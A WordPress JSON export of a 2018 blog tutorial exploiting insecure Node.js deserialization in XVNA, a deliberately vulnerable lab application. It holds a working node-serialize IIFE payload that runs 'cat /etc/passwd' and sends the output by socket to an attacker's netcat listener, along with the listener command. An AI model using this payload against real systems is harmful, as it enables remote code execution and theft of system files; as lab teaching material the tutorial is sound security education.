{"id":251,"date":"2018-03-17T02:49:51","date_gmt":"2018-03-17T02:49:51","guid":{"rendered":"http:\/\/malwrforensics.com\/en\/?p=251"},"modified":"2018-03-18T17:05:25","modified_gmt":"2018-03-18T17:05:25","slug":"extreme-vulnerable-node-application-xvna-insecure-nodejs-deserialization","status":"publish","type":"post","link":"https:\/\/malwrforensics.com\/en\/2018\/03\/17\/extreme-vulnerable-node-application-xvna-insecure-nodejs-deserialization\/","title":{"rendered":"eXtreme Vulnerable Node Application (XVNA) &#8211; Insecure nodejs deserialization"},"content":{"rendered":"<p>In this post we&#8217;ll have a look at the nodejs deserialization attack\/exploit in XVNA (eXtreme Vulnerable Node Application). <a href=\"https:\/\/www.owasp.org\/index.php\/Top_10-2017_A8-Insecure_Deserialization\">Insecure deserialization<\/a> is part of the <a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_2017_Project\">OWASP Top 10<\/a> list that was published in 2017.<\/p>\n<p>We&#8217;ll use the setup detailed <a href=\"http:\/\/malwrforensics.com\/en\/2018\/03\/16\/step-by-step-environment-setup-for-extreme-vulnerable-node-application-xvna-security-testing\/\">here<\/a> (XVNA runs on port 80). As a web proxy, <a href=\"https:\/\/portswigger.net\/burp\">Burp<\/a> or <a href=\"https:\/\/www.owasp.org\/index.php\/OWASP_Zed_Attack_Proxy_Project\">ZAP<\/a> are highly recommended, but you can use anything else that allows you to view\/edit\/send HTTP requests.<\/p>\n<p>From the main dashboard in XVNA, we need to go to the <strong>A8:2017-Insecure Deserialization<\/strong> section.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-252\" src=\"http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_page.png\" alt=\"\" width=\"856\" height=\"621\" srcset=\"https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_page.png 856w, https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_page-300x218.png 300w, https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_page-768x557.png 768w\" sizes=\"auto, (max-width: 856px) 100vw, 856px\" \/><\/p>\n<p>Here, once you select the item (Apple, Banana, Egg, Beans) and click Check, a JSON request is sent to the web server with your choice.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-253\" src=\"http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_orig_request.png\" alt=\"\" width=\"653\" height=\"243\" srcset=\"https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_orig_request.png 653w, https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_orig_request-300x112.png 300w\" sizes=\"auto, (max-width: 653px) 100vw, 653px\" \/><\/p>\n<p>The request is handled inside index.js. A new object (<strong>obj<\/strong>) will be declared and the userid parameter value from the POST request will be added to the <strong>name<\/strong> key.<\/p>\n<p>The object will be first serialized and then deserialized and the <strong>say<\/strong> function will be called.<\/p>\n<pre><span style=\"color: #666699;\"> var<\/span> id = req.body.userid.toString()\r\n console.log(id)\r\n <span style=\"color: #666699;\">var<\/span> <strong>obj<\/strong> = {\r\n   name: id\r\n   , say: <span style=\"color: #666699;\">function<\/span> () {\r\n     <span style=\"color: #666699;\">return<\/span> '<span style=\"color: #993300;\">Searched Item<\/span> ' + <span style=\"color: #666699;\">this<\/span>.name;\r\n   }\r\n };\r\n <span style=\"color: #666699;\">var<\/span> objS = serialize.serialize(obj);\r\n <span style=\"color: #666699;\">typeof<\/span> objS === '<span style=\"color: #993300;\">string<\/span>';\r\n serialize.<strong>unserialize<\/strong>(objS).say();<\/pre>\n<p>The main issue is tied to the <strong>unserialize<\/strong> function (for more info check out <a href=\"https:\/\/opsecx.com\/index.php\/2017\/02\/08\/exploiting-node-js-deserialization-bug-for-remote-code-execution\/\">opsecx&#8217;s article<\/a>), because the input (the userid value) isn&#8217;t sanitized. When a serialized Javascript\u00a0<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Glossary\/IIFE\">Immediately Invoked Function Expression<\/a> (IIFE) is provided as a value to userid, it will be executed during deserialization.<\/p>\n<p>Now we have to decide what we want as a payload and what&#8217;s a good exfil method. Let&#8217;s say we want to get the contents of \/etc \/passwd. One way to achieve this is to convince the app to send it to us directly on a specific port.<\/p>\n<p>For that we&#8217;ll run <strong>nc -l -v 1234 -vv<\/strong> on the client\/attacker machine. This will open the port 1234\/tcp and wait for a connection.<\/p>\n<p>The function that we&#8217;ll send as a payload will create a socket, connect to our port and send the output of the <strong>cat \/etc \/passwd<\/strong> command.<\/p>\n<pre><span style=\"color: #666699;\">var <span style=\"color: #0000ff;\">f<\/span> <span style=\"color: #000000;\">=<\/span> function<\/span>()\r\n{\r\n\u00a0 require('<span style=\"color: #993300;\">child_process<\/span>').exec('<span style=\"color: #993300;\">cat<\/span> <span style=\"color: #993300;\">\/etc \/passwd<\/span>', \r\n\u00a0 \u00a0 <span style=\"color: #666699;\">function<\/span>(<span style=\"color: #0000ff;\">error<\/span>, <span style=\"color: #0000ff;\">stdout<\/span>, <span style=\"color: #0000ff;\">stderr<\/span>){\r\n\u00a0 \u00a0 \u00a0 <span style=\"color: #666699;\">var<\/span> <span style=\"color: #0000ff;\">s<\/span> = require('<span style=\"color: #993300;\">net<\/span>').Socket();\r\n\u00a0 \u00a0 \u00a0 <span style=\"color: #0000ff;\">s<\/span>.connect(1234, '<span style=\"color: #993300;\">192.168.56.1<\/span>');\r\n\u00a0 \u00a0 \u00a0 <span style=\"color: #0000ff;\">s<\/span>.write(stdout); \r\n\u00a0 \u00a0 });\r\n}<\/pre>\n<p>To serialize the function, we can add the following code, save everything to a js file and run it with nodejs.<\/p>\n<pre><span style=\"color: #666699;\">var<\/span> <span style=\"color: #0000ff;\">serialize<\/span> = require('<span style=\"color: #993300;\">node-serialize<\/span>');\r\nconsole.log(<span style=\"color: #0000ff;\">serialize<\/span>.serialize(f));<\/pre>\n<p>Remember that we&#8217;re using IIFE here. Basically we have defined a function that we want to call it immediately, so we need to add <strong>( )<\/strong> at the end.<\/p>\n<p>Now we have everything we need to exploit the app. Let&#8217;s send the request again and intercept it using your proxy. We need to edit the userid&#8217;s value and replace it with something like this:<\/p>\n<p><span style=\"color: #993300;\">{&#8220;userid&#8221;: &#8220;_$$ND_FUNC$$_function (){require(&#8216;child_process&#8217;).exec(&#8216;cat \/etc \/passwd&#8217;, function(error, stdout, stderr){var s=require(&#8216;net&#8217;).Socket();s.connect(1234,&#8217;192.168.56.1&#8242;);s.write(stdout);});}()&#8221;}<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-255\" src=\"http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_exfil_pass_request.png\" alt=\"\" width=\"769\" height=\"191\" srcset=\"https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_exfil_pass_request.png 977w, https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_exfil_pass_request-300x75.png 300w, https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_deserializ_exfil_pass_request-768x191.png 768w\" sizes=\"auto, (max-width: 769px) 100vw, 769px\" \/><\/p>\n<p>If successful, you should see something like this in your nc window:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-257\" src=\"http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_nc_rcv_passwd.png\" alt=\"\" width=\"575\" height=\"166\" srcset=\"https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_nc_rcv_passwd.png 575w, https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2018\/03\/xvna_nc_rcv_passwd-300x87.png 300w\" sizes=\"auto, (max-width: 575px) 100vw, 575px\" \/><\/p>\n<p>Enjoy!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post we&#8217;ll have a look at the nodejs deserialization attack\/exploit in XVNA (eXtreme Vulnerable Node Application). Insecure deserialization is part of the OWASP Top 10 list that was published in 2017. We&#8217;ll use the setup detailed here (XVNA runs on port 80). As a web proxy, Burp or ZAP are highly recommended, but [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[51,5,73,71,68,72,75,64,76,74,66],"class_list":["post-251","post","type-post","status-publish","format-standard","hentry","category-security","tag-deserialization","tag-exploit","tag-insecure-deserialization","tag-json","tag-nodejs","tag-owasp","tag-payload","tag-serialization","tag-serialize","tag-unserialize","tag-xvna"],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[]}},"featured_image_urls_v2":{"full":"","thumbnail":"","medium":"","medium_large":"","large":"","1536x1536":"","2048x2048":""},"post_excerpt_stackable_v2":"<p>In this post we&#8217;ll have a look at the nodejs deserialization attack\/exploit in XVNA (eXtreme Vulnerable Node Application). Insecure deserialization is part of the OWASP Top 10 list that was published in 2017. We&#8217;ll use the setup detailed here (XVNA runs on port 80). As a web proxy, Burp or ZAP are highly recommended, but you can use anything else that allows you to view\/edit\/send HTTP requests. From the main dashboard in XVNA, we need to go to the A8:2017-Insecure Deserialization section. Here, once you select the item (Apple, Banana, Egg, Beans) and click Check, a JSON request is sent&hellip;<\/p>\n","category_list_v2":"<a href=\"https:\/\/malwrforensics.com\/en\/category\/security\/\" rel=\"category tag\">Security<\/a>","author_info_v2":{"name":"malwrforensics","url":"https:\/\/malwrforensics.com\/en\/author\/u_malwrforensics\/"},"comments_num_v2":"0 comments","_links":{"self":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/251","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/comments?post=251"}],"version-history":[{"count":4,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/251\/revisions"}],"predecessor-version":[{"id":259,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/251\/revisions\/259"}],"wp:attachment":[{"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/media?parent=251"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/categories?post=251"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/tags?post=251"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}